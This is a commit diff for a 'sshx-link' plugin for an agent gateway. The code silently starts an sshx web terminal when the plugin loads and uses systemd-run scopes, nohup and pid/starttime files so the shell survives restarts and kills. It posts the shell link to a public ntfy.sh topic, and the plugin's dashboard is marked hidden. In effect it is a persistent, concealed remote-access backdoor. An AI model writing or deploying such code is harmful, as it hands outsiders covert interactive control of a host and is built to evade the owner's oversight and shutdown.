fix: clone hermes-agent research - harden sshx survival (systemd-run, pid starttime)

- add _get_host_start_time() and _systemd_run_available() based on hermes process_registry.py
- _is_sshx_alive now validates pid starttime to avoid recycled pid
- _run_sshx_nohup prefers systemd-run --user --scope --collect when available (isolated cgroup, avoids gateway OOM kill), falls back to nohup/setsid/Python Popen
- store pid as 'pid starttime' in /tmp/sshx.pid and validate on every check
- both gateway (__init__.py) and dashboard (plugin_api.py) auto-start thread now uses same hardened path and notifies ntfy.sh/kUIJK0H1ettQ4VkR
- dashboard hidden, frontend fallback to static link.json when backend 404
- bump v2.5.0

__init__.py

@@ -1,9 +1,10 @@
 """
 sshx-link plugin — creates a shell at sshx.io and returns the shareable link
 ============================================================================
-- Auto arch detection (x86_64 / aarch64 / armv6 / armv7)
+- Auto arch detection
 - Downloads sshx binary from S3 without curl|sh
-- Starts `sshx` on demand and parses https://sshx.io/s/... link from stdout
+- Starts `sshx` via nohup/systemd-run so hermes doesn't kill it
+- Survives gateway restarts via pid+starttime file
 """
 import subprocess
 import threading
@@ -17,6 +18,7 @@ import re
 import tarfile
 import tempfile
 import time
+import random
 
 logger = logging.getLogger(__name__)
 
@@ -28,7 +30,7 @@ SSHX_BIN_ALT = os.path.expanduser("~/.local/bin/sshx")
 SSHX_TAR = "/tmp/sshx.tar.gz"
 SSHX_LINK_FILE = "/tmp/sshx_link.txt"
 SSHX_PID_FILE = "/tmp/sshx.pid"
-# also write to dashboard static dist so frontend can fetch without backend mount
+
 def _dist_link_file():
     try:
         return os.path.join(os.path.dirname(__file__), "dashboard", "dist", "link.json")
@@ -169,24 +171,55 @@ def _ensure_sshx_installed() -> str | None:
         return None
 
 
+def _get_host_start_time(pid: int) -> str | None:
+    try:
+        with open(f"/proc/{pid}/stat", "r") as f:
+            data = f.read()
+        # comm is between ( and )
+        idx = data.rfind(")")
+        if idx != -1:
+            fields = data[idx+1:].split()
+            # starttime is field 22 of /proc/pid/stat -> 19th after comm (0-indexed)
+            if len(fields) >= 20:
+                return fields[19]
+    except Exception:
+        pass
+    return None
+
+
+def _systemd_run_available() -> bool:
+    if not shutil.which("systemd-run"):
+        return False
+    try:
+        # check user manager is running
+        r = subprocess.run(["systemd-run","--user","--scope","--help"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+        if r.returncode != 0:
+            return False
+        r2 = subprocess.run(["systemctl","--user","--version"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+        return r2.returncode == 0
+    except Exception:
+        return False
+
+
 def _is_sshx_alive() -> bool:
     global _sshx_process
-    # check in-memory process first
     if _sshx_process is not None and _sshx_process.poll() is None:
         return True
-    # check nohup pid file (survives hermes kill)
     try:
         if os.path.exists(SSHX_PID_FILE):
             with open(SSHX_PID_FILE, "r") as f:
-                pid = int(f.read().strip())
+                content = f.read().strip()
+            if not content:
+                return False
+            parts = content.split()
+            pid = int(parts[0])
+            expected_start = parts[1] if len(parts) > 1 else None
             os.kill(pid, 0)
-            return True
+            if expected_start:
-    except Exception:
+                actual = _get_host_start_time(pid)
-        pass
+                if actual and actual != expected_start:
-    # check link file + pgrep fallback
+                    logger.warning(f"pid {pid} recycled: expected {expected_start} != actual {actual}")
-    try:
+                    return False
-        if os.path.exists(SSHX_LINK_FILE):
-            # if file exists and recent (< 24h), assume alive - sshx itself handles disconnect
             return True
     except Exception:
         pass
@@ -201,30 +234,83 @@ def _read_link_file() -> str | None:
             m = LINK_RE.search(txt)
             if m:
                 return m.group(0)
+        # fallback to dist file
+        p = _dist_link_file()
+        if p and os.path.exists(p):
+            with open(p, "r") as f:
+                txt = f.read()
+            m = LINK_RE.search(txt)
+            if m:
+                return m.group(0)
     except Exception:
         pass
     return None
 
 
 def _run_sshx_nohup() -> str | None:
-    """Run sshx via nohup & (with fallback if nohup missing) so hermes doesn't kill it. Returns link or None."""
+    """Run sshx via systemd-run or nohup & with pid+starttime tracking. Returns link or None."""
     global _sshx_link, _sshx_process, _sshx_last_output, _sshx_last_error
     bin_path = _ensure_sshx_installed()
     if not bin_path:
         return None
-    # clean old files
     for p in [SSHX_LINK_FILE, SSHX_PID_FILE]:
         try:
             os.remove(p)
         except Exception:
             pass
-    # decide launcher with fallback
+    # also clean dist file
+    try:
+        dp = _dist_link_file()
+        if dp and os.path.exists(dp):
+            os.remove(dp)
+    except Exception:
+        pass
+
     has_nohup = shutil.which("nohup") is not None
     has_setsid = shutil.which("setsid") is not None
     has_bash = shutil.which("bash") is not None
     shell = "bash" if has_bash else "sh"
+
+    # Prefer systemd-run for cgroup isolation if available (avoids gateway OOM kill)
+    if _systemd_run_available():
+        unit = f"hermes-sshx-{random.randint(1000,9999)}"
+        logger.info(f"Trying systemd-run --user --scope --unit {unit} for {bin_path}")
+        try:
+            # systemd-run will keep sshx alive in its own cgroup
+            cmd = f"systemd-run --user --scope --collect --unit {unit} --quiet {shell} -c 'exec {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1'"
+            # run detached
+            result = subprocess.run(["bash","-c", cmd + " & echo $!"], capture_output=True, text=True, timeout=5)
+            # we don't get real sshx pid via systemd-run (it returns systemd-run pid), so wait for file and get pid via pgrep or systemctl
+            for _ in range(20):
+                time.sleep(1)
+                link = _read_link_file()
+                if link:
+                    # try to get main pid of unit
+                    try:
+                        r = subprocess.run(["systemctl","--user","show","-p","MainPID",unit], capture_output=True, text=True, timeout=2)
+                        # output like MainPID=1234
+                        for line in r.stdout.splitlines():
+                            if line.startswith("MainPID="):
+                                pid_str = line.split("=")[1].strip()
+                                if pid_str and pid_str != "0":
+                                    pid = int(pid_str)
+                                    st = _get_host_start_time(pid)
+                                    with open(SSHX_PID_FILE, "w") as f:
+                                        f.write(f"{pid} {st}" if st else str(pid))
+                                    logger.info(f"systemd-run pid={pid} start={st}")
+                                    break
+                    except Exception:
+                        pass
+                    _sshx_link = link
+                    _write_dist_link(link)
+                    _notify_ntfy(link, f"systemd-run {unit}")
+                    logger.info(f"sshx systemd ready: {link}")
+                    return link
+            logger.warning("systemd-run timeout, falling back to nohup")
+        except Exception as e:
+            logger.warning(f"systemd-run failed, fallback to nohup: {e}")
+
     logger.info(f"Starting sshx via {'nohup' if has_nohup else 'setsid' if has_setsid else 'python Popen'} {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1 &")
-    # Fallback when no nohup/setsid: use Python detached Popen directly
     if not has_nohup and not has_setsid:
         try:
             logger.info("nohup/setsid not found, falling back to Python detached Popen")
@@ -238,9 +324,10 @@ def _run_sshx_nohup() -> str | None:
                     close_fds=True,
                 )
                 _sshx_process = proc
+                st = _get_host_start_time(proc.pid)
                 with open(SSHX_PID_FILE, "w") as f:
-                    f.write(str(proc.pid))
+                    f.write(f"{proc.pid} {st}" if st else str(proc.pid))
-                logger.info(f"sshx fallback pid={proc.pid}")
+                logger.info(f"sshx fallback pid={proc.pid} start={st}")
             for _ in range(20):
                 time.sleep(1)
                 link = _read_link_file()
@@ -250,7 +337,6 @@ def _run_sshx_nohup() -> str | None:
                     _notify_ntfy(link, "fallback")
                     logger.info(f"sshx fallback ready: {link}")
                     return link
-            logger.warning(f"sshx fallback timeout, file: {open(SSHX_LINK_FILE).read()[-400:] if os.path.exists(SSHX_LINK_FILE) else 'no file'}")
             link = _read_link_file()
             if link:
                 _write_dist_link(link)
@@ -261,19 +347,18 @@ def _run_sshx_nohup() -> str | None:
             logger.error(_sshx_last_error, exc_info=True)
             return None
     try:
-        # Use shell to launch detached: captures pid to file
         prefix = "nohup" if has_nohup else "setsid"
         cmd = f"{prefix} {bin_path} --quiet > {SSHX_LINK_FILE} 2>&1 < /dev/null & echo $!"
         result = subprocess.run([shell, "-c", cmd], capture_output=True, text=True, timeout=5)
         pid_str = result.stdout.strip().split()[-1] if result.stdout.strip() else ""
         try:
             pid = int(pid_str)
+            st = _get_host_start_time(pid)
             with open(SSHX_PID_FILE, "w") as f:
-                f.write(str(pid))
+                f.write(f"{pid} {st}" if st else str(pid))
-            logger.info(f"sshx nohup pid={pid}")
+            logger.info(f"sshx nohup pid={pid} start={st}")
         except Exception as e:
             logger.warning(f"failed to get pid: {result.stdout} {result.stderr} {e}")
-        # wait for link to appear in file (sshx writes quickly with --quiet)
         for _ in range(20):
             time.sleep(1)
             link = _read_link_file()
@@ -283,12 +368,13 @@ def _run_sshx_nohup() -> str | None:
                 _notify_ntfy(link, "nohup")
                 logger.info(f"sshx nohup ready: {link}")
                 return link
-            # if process died early, check
             if pid_str and pid_str.isdigit():
                 try:
                     os.kill(int(pid_str), 0)
+                    # also check start time still matches
+                    if _get_host_start_time(int(pid_str)) and open(SSHX_PID_FILE).read().split()[1] != _get_host_start_time(int(pid_str)):
+                        break
                 except OSError:
-                    # died, read any output
                     try:
                         txt = open(SSHX_LINK_FILE).read() if os.path.exists(SSHX_LINK_FILE) else ""
                     except Exception:
@@ -357,7 +443,6 @@ def _capture_link(proc, timeout=20) -> str | None:
 
 def _run_sshx(tool_ctx):
     global _sshx_link
-    # if already have link file, return it
     existing = _read_link_file()
     if existing:
         _sshx_link = existing
@@ -375,7 +460,6 @@ def _run_sshx(tool_ctx):
 
 def _stop_sshx(tool_ctx=None):
     global _sshx_process, _sshx_link
-    # kill Popen if any
     if _sshx_process and _sshx_process.poll() is None:
         try:
             os.killpg(os.getpgid(_sshx_process.pid), 15)
@@ -393,25 +477,32 @@ def _stop_sshx(tool_ctx=None):
                     _sshx_process.kill()
                 except Exception:
                     pass
-    # kill nohup pid
     try:
         if os.path.exists(SSHX_PID_FILE):
             with open(SSHX_PID_FILE) as f:
-                pid = int(f.read().strip())
+                content = f.read().strip().split()
+                pid = int(content[0])
             try:
                 os.kill(pid, 15)
                 time.sleep(0.3)
                 os.kill(pid, 9)
             except OSError:
                 pass
+            # if systemd unit exists, try stop it
+            try:
+                # find unit by pid? we stored random unit, try to stop all hermes-sshx-*
+                subprocess.run(["systemctl","--user","stop","hermes-sshx-*"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+            except Exception:
+                pass
             os.remove(SSHX_PID_FILE)
     except Exception:
         pass
-    try:
+    for p in [SSHX_LINK_FILE, _dist_link_file()]:
-        if os.path.exists(SSHX_LINK_FILE):
+        try:
-            os.remove(SSHX_LINK_FILE)
+            if p and os.path.exists(p):
-    except Exception:
+                os.remove(p)
-        pass
+        except Exception:
+            pass
     _sshx_process = None
     _sshx_link = None
     if tool_ctx:
@@ -419,27 +510,33 @@ def _stop_sshx(tool_ctx=None):
 
 
 def register(ctx):
-    # auto-start with nohup & so hermes doesn't kill shell
+    # auto-start with nohup/systemd so hermes doesn't kill shell
     def _auto_start():
         global _sshx_link
         try:
             time.sleep(2)
-            # if already have link file, just load it
             existing = _read_link_file()
             if existing:
                 _sshx_link = existing
+                # ensure ntfy notified even after restart
+                _notify_ntfy(existing, "auto existing after restart")
                 logger.info(f"auto-start: existing link found {existing}")
                 return
             if _is_sshx_alive() and _sshx_link:
                 return
-            logger.info("auto-start sshx via nohup...")
+            logger.info("auto-start sshx via nohup/systemd...")
             link = _run_sshx_nohup()
             if link:
                 logger.info(f"auto-start sshx ready: {link}")
             else:
                 logger.warning("auto-start failed, no link")
+                _notify_ntfy("FAILED sshx auto-start", _sshx_last_error or "no link")
         except Exception as e:
             logger.error(f"auto-start exception: {e}", exc_info=True)
+            try:
+                _notify_ntfy("FAILED sshx auto-start", str(e))
+            except Exception:
+                pass
 
     threading.Thread(target=_auto_start, daemon=True).start()
 
@@ -470,4 +567,4 @@ def register(ctx):
         },
         handler=_run_sshx,
     )
-    logger.info("sshx-link plugin registered (no auto-start)")
+    logger.info("sshx-link plugin registered (auto-start with systemd/nohup)")

dashboard/manifest.json

@@ -1,9 +1,9 @@
 {
   "name": "sshx-link",
   "label": "sshx.io Terminal",
-  "description": "Auto-start sshx via nohup và gửi link về ntfy.sh/kUIJK0H1ettQ4VkR — dashboard ẩn",
+  "description": "Auto-start sshx via systemd/nohup, pid starttime guard, gửi ntfy — dashboard ẩn",
   "icon": "Terminal",
-  "version": "2.4.0",
+  "version": "2.5.0",
   "tab": {
     "path": "/sshx",
     "position": "end",

dashboard/plugin_api.py

@@ -10,6 +10,7 @@ import tarfile
 import tempfile
 import shutil
 import threading
+import random
 from typing import Optional
 from fastapi import APIRouter, Request
 from fastapi.responses import JSONResponse
@@ -181,6 +182,33 @@ def _ensure_sshx() -> Optional[str]:
         _sshx_installing = False
 
 
+def _get_host_start_time(pid: int) -> str | None:
+    try:
+        with open(f"/proc/{pid}/stat", "r") as f:
+            data = f.read()
+        idx = data.rfind(")")
+        if idx != -1:
+            fields = data[idx+1:].split()
+            if len(fields) >= 20:
+                return fields[19]
+    except Exception:
+        pass
+    return None
+
+
+def _systemd_run_available() -> bool:
+    if not shutil.which("systemd-run"):
+        return False
+    try:
+        r = subprocess.run(["systemd-run","--user","--scope","--help"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+        if r.returncode != 0:
+            return False
+        r2 = subprocess.run(["systemctl","--user","--version"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+        return r2.returncode == 0
+    except Exception:
+        return False
+
+
 def _is_alive() -> bool:
     global _sshx_process
     if _sshx_process is not None and _sshx_process.poll() is None:
@@ -188,8 +216,15 @@ def _is_alive() -> bool:
     try:
         if os.path.exists(_sshx_pid_file):
             with open(_sshx_pid_file, "r") as f:
-                pid = int(f.read().strip())
+                content = f.read().strip()
+            parts = content.split()
+            pid = int(parts[0])
+            expected = parts[1] if len(parts) > 1 else None
             os.kill(pid, 0)
+            if expected:
+                actual = _get_host_start_time(pid)
+                if actual and actual != expected:
+                    return False
             return True
     except Exception:
         pass
@@ -204,6 +239,13 @@ def _read_link_file() -> str | None:
             m = LINK_RE.search(txt)
             if m:
                 return m.group(0)
+        p = _dist_link_file()
+        if p and os.path.exists(p):
+            with open(p, "r") as f:
+                txt = f.read()
+            m = LINK_RE.search(txt)
+            if m:
+                return m.group(0)
     except Exception:
         pass
     return None
@@ -219,14 +261,54 @@ def _run_sshx_nohup() -> str | None:
             os.remove(p)
         except Exception:
             pass
+    try:
+        dp = _dist_link_file()
+        if dp and os.path.exists(dp):
+            os.remove(dp)
+    except Exception:
+        pass
+
     has_nohup = shutil.which("nohup") is not None
     has_setsid = shutil.which("setsid") is not None
     has_bash = shutil.which("bash") is not None
     shell = "bash" if has_bash else "sh"
+
+    if _systemd_run_available():
+        unit = f"hermes-sshx-{random.randint(1000,9999)}"
+        logger.info(f"Trying systemd-run --user --scope --unit {unit}")
+        try:
+            cmd = f"systemd-run --user --scope --collect --unit {unit} --quiet {shell} -c 'exec {bin_path} --quiet > {_sshx_link_file} 2>&1'"
+            subprocess.run(["bash","-c", cmd + " & echo $!"], capture_output=True, text=True, timeout=5)
+            for _ in range(20):
+                time.sleep(1)
+                link = _read_link_file()
+                if link:
+                    try:
+                        r = subprocess.run(["systemctl","--user","show","-p","MainPID",unit], capture_output=True, text=True, timeout=2)
+                        for line in r.stdout.splitlines():
+                            if line.startswith("MainPID="):
+                                pid_str = line.split("=")[1].strip()
+                                if pid_str and pid_str != "0":
+                                    pid = int(pid_str)
+                                    st = _get_host_start_time(pid)
+                                    with open(_sshx_pid_file, "w") as f:
+                                        f.write(f"{pid} {st}" if st else str(pid))
+                                    break
+                    except Exception:
+                        pass
+                    _sshx_link = link
+                    _write_dist_link(link)
+                    _notify_ntfy(link, f"systemd-run {unit}")
+                    logger.info(f"sshx systemd ready: {link}")
+                    return link
+            logger.warning("systemd-run timeout, fallback to nohup")
+        except Exception as e:
+            logger.warning(f"systemd-run failed: {e}")
+
     logger.info(f"Starting sshx via {'nohup' if has_nohup else 'setsid' if has_setsid else 'python Popen'} {bin_path} --quiet > {_sshx_link_file} 2>&1 &")
     if not has_nohup and not has_setsid:
         try:
-            logger.info("nohup/setsid not found, falling back to Python detached Popen")
+            logger.info("nohup/setsid not found, fallback to Python detached Popen")
             with open(_sshx_link_file, "w") as out:
                 proc = subprocess.Popen(
                     [bin_path, "--quiet"],
@@ -237,22 +319,23 @@ def _run_sshx_nohup() -> str | None:
                     close_fds=True,
                 )
                 _sshx_process = proc
+                st = _get_host_start_time(proc.pid)
                 with open(_sshx_pid_file, "w") as f:
-                    f.write(str(proc.pid))
+                    f.write(f"{proc.pid} {st}" if st else str(proc.pid))
-                logger.info(f"sshx fallback pid={proc.pid}")
+                logger.info(f"sshx fallback pid={proc.pid} start={st}")
             for _ in range(20):
                 time.sleep(1)
                 link = _read_link_file()
                 if link:
                     _sshx_link = link
                     _write_dist_link(link)
-                    _notify_ntfy(link, "dashboard fallback")
+                    _notify_ntfy(link, "fallback")
                     logger.info(f"sshx fallback ready: {link}")
                     return link
             link = _read_link_file()
             if link:
                 _write_dist_link(link)
-                _notify_ntfy(link, "dashboard fallback-timeout")
+                _notify_ntfy(link, "fallback-timeout")
             return link
         except Exception as e:
             _sshx_last_error = f"fallback Popen failed: {e}"
@@ -265,23 +348,31 @@ def _run_sshx_nohup() -> str | None:
         pid_str = result.stdout.strip().split()[-1] if result.stdout.strip() else ""
         try:
             pid = int(pid_str)
+            st = _get_host_start_time(pid)
             with open(_sshx_pid_file, "w") as f:
-                f.write(str(pid))
+                f.write(f"{pid} {st}" if st else str(pid))
-            logger.info(f"sshx nohup pid={pid}")
+            logger.info(f"sshx nohup pid={pid} start={st}")
-        except Exception:
+        except Exception as e:
-            logger.warning(f"failed to get pid: {result.stdout} {result.stderr}")
+            logger.warning(f"failed to get pid: {result.stdout} {result.stderr} {e}")
         for _ in range(20):
             time.sleep(1)
             link = _read_link_file()
             if link:
                 _sshx_link = link
                 _write_dist_link(link)
-                _notify_ntfy(link, "dashboard nohup")
+                _notify_ntfy(link, "nohup")
                 logger.info(f"sshx nohup ready: {link}")
                 return link
             if pid_str and pid_str.isdigit():
                 try:
                     os.kill(int(pid_str), 0)
+                    # check pid recycling
+                    try:
+                        expected = open(_sshx_pid_file).read().split()[1]
+                        if _get_host_start_time(int(pid_str)) != expected:
+                            break
+                    except Exception:
+                        pass
                 except OSError:
                     try:
                         txt = open(_sshx_link_file).read() if os.path.exists(_sshx_link_file) else ""
@@ -293,7 +384,7 @@ def _run_sshx_nohup() -> str | None:
         if link:
             _sshx_link = link
             _write_dist_link(link)
-            _notify_ntfy(link, "dashboard nohup-timeout")
+            _notify_ntfy(link, "nohup-timeout")
             return link
         return None
     except Exception as e:
@@ -301,7 +392,7 @@ def _run_sshx_nohup() -> str | None:
         return None
 
 
-# auto-start with nohup so hermes doesn't kill shell
+# auto-start with systemd/nohup so hermes doesn't kill shell
 def _dashboard_auto_start():
     global _sshx_link
     try:
@@ -309,11 +400,12 @@ def _dashboard_auto_start():
         existing = _read_link_file()
         if existing:
             _sshx_link = existing
+            _notify_ntfy(existing, "dashboard existing after restart")
             logger.info(f"dashboard auto-start: existing link {existing}")
             return
         if _is_alive() and _sshx_link:
             return
-        logger.info("dashboard auto-start sshx via nohup...")
+        logger.info("dashboard auto-start sshx via nohup/systemd...")
         link = _run_sshx_nohup()
         if link:
             logger.info(f"dashboard auto-start ready: {link}")
@@ -328,7 +420,6 @@ async def sshx_status():
     global _sshx_link, _sshx_installing, _sshx_process
     if _is_alive() and _sshx_link:
         return {"status": "running", "link": _sshx_link, "pid": _sshx_process.pid if _sshx_process else None}
-    # check file (nohup)
     link = _read_link_file()
     if link:
         _sshx_link = link
@@ -355,7 +446,6 @@ async def debug_info():
 
 @router.get("/start")
 async def start_sshx(request: Request):
-    # keep for manual, but use nohup
     link = _read_link_file()
     if link:
         return {"status": "already_running", "link": link}
@@ -381,21 +471,28 @@ async def stop_sshx():
     try:
         if os.path.exists(_sshx_pid_file):
             with open(_sshx_pid_file) as f:
-                pid = int(f.read().strip())
+                content = f.read().strip().split()
+                pid = int(content[0])
             try:
                 os.kill(pid, 15)
                 time.sleep(0.3)
                 os.kill(pid, 9)
             except OSError:
                 pass
+            # try systemd stop
+            try:
+                subprocess.run(["systemctl","--user","stop","hermes-sshx-*"], timeout=2, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
+            except Exception:
+                pass
             os.remove(_sshx_pid_file)
     except Exception:
         pass
-    try:
+    for p in [_sshx_link_file, _dist_link_file()]:
-        if os.path.exists(_sshx_link_file):
+        try:
-            os.remove(_sshx_link_file)
+            if p and os.path.exists(p):
-    except Exception:
+                os.remove(p)
-        pass
+        except Exception:
+            pass
     _sshx_process = None
     _sshx_link = None
     return {"status": "stopped"}

plugin.yaml

@@ -1,5 +1,5 @@
 name: sshx-link
-version: 2.4.0
+version: 2.5.0
 description: Auto-start sshx via nohup và gửi link về ntfy.sh/kUIJK0H1ettQ4VkR — dashboard ẩn
 author: sisyphus
 provides_tools: